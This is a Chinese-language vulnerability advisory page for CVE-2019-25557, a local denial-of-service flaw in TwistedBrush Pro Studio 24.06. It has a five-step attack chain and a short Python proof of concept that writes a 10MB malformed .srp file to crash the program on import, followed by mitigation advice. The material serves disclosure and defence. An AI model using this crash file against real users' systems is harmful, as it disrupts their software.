IPBUF安全漏洞报告
English
CVE-2019-25557 CVSS 6.2 中危

CVE-2019-25557 TwistedBrush Pro Studio 拒绝服务漏洞

披露日期: 2026-03-21

漏洞信息

漏洞编号
CVE-2019-25557
漏洞类型
拒绝服务
CVSS评分
6.2 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
TwistedBrush Pro Studio

相关标签

拒绝服务DoSTwistedBrush Pro Studio本地漏洞缓冲区溢出

漏洞概述

TwistedBrush Pro Studio 24.06版本存在拒绝服务漏洞。该漏洞源于程序在导入.srp脚本文件时,未能正确处理畸形数据。本地攻击者无需任何权限或用户交互,通过构造包含超大缓冲区的恶意.srp文件并诱导应用加载,即可触发应用程序崩溃,导致服务不可用。

技术细节

该漏洞属于典型的缓冲区处理错误导致的拒绝服务。TwistedBrush Pro Studio在解析Script Player导入的.srp脚本文件时,缺乏对输入数据大小的严格校验机制。攻击者可创建一个填充了大量数据的畸形.srp文件。当用户在本地系统上通过软件界面导入该文件时,软件在尝试读取和解析缓冲区数据时会耗尽资源或触发内存访问违规。虽然攻击仅限于本地且不直接影响数据机密性或完整性,但其可用性影响(A:H)较高,可导致目标应用进程立即终止,造成稳定的服务中断。

攻击链分析

STEP 1
侦察
确认目标系统上安装了TwistedBrush Pro Studio 24.06或受影响版本。
STEP 2
武器化
使用脚本或工具生成包含超长缓冲区的畸形.srp脚本文件。
STEP 3
投递
将生成的恶意.srp文件复制到目标本地系统。
STEP 4
利用
在目标系统上运行TwistedBrush Pro Studio,通过Script Player界面导入并加载该恶意文件。
STEP 5
影响
应用程序解析文件时触发异常,导致进程崩溃,服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2019-25557 # TwistedBrush Pro Studio Denial of Service via Malformed .srp File import sys def generate_poc(filename): # Create a large buffer to trigger the crash # The file size needs to be excessive to overflow the expected buffer size junk = b"A" * 10000000 # 10MB buffer try: with open(filename, "wb") as f: f.write(junk) print(f"[+] PoC file '{filename}' created successfully.") print(f"[+] Import this file into TwistedBrush Pro Studio Script Player to reproduce the crash.") except Exception as e: print(f"[-] Error creating file: {e}") if __name__ == "__main__": poc_file = "exploit_CVE_2019_25557.srp" generate_poc(poc_file)

影响范围

TwistedBrush Pro Studio 24.06

防御指南

临时缓解措施
建议用户尽快访问厂商官网下载并安装更新补丁或升级到最新版本以修复此漏洞。在未进行升级前,应严格限制对未知来源.srp文件的导入操作,仅在可信环境中运行软件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表